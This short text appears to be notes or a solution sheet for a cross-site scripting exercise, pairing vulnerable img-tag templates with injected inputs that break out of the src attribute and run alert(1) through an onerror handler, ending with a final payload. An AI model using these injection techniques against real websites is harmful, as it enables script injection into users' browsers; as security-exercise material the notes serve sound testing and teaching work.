code:
<img src=":{src}" >
hack:
<img src=" xxx:x"onerror=alert(1)// " >
code:
<img src=:{src} >
hack:
<img src=xxx:x onerror=alert(1) >
code:
<img src="xxx:x" onload="open(':{src}')" >
hack:
<img src=xxx:x onerror="open('');alert(1)//')" >
final:
<img src=xxx:x onerror="open('');alert(1)//')" >
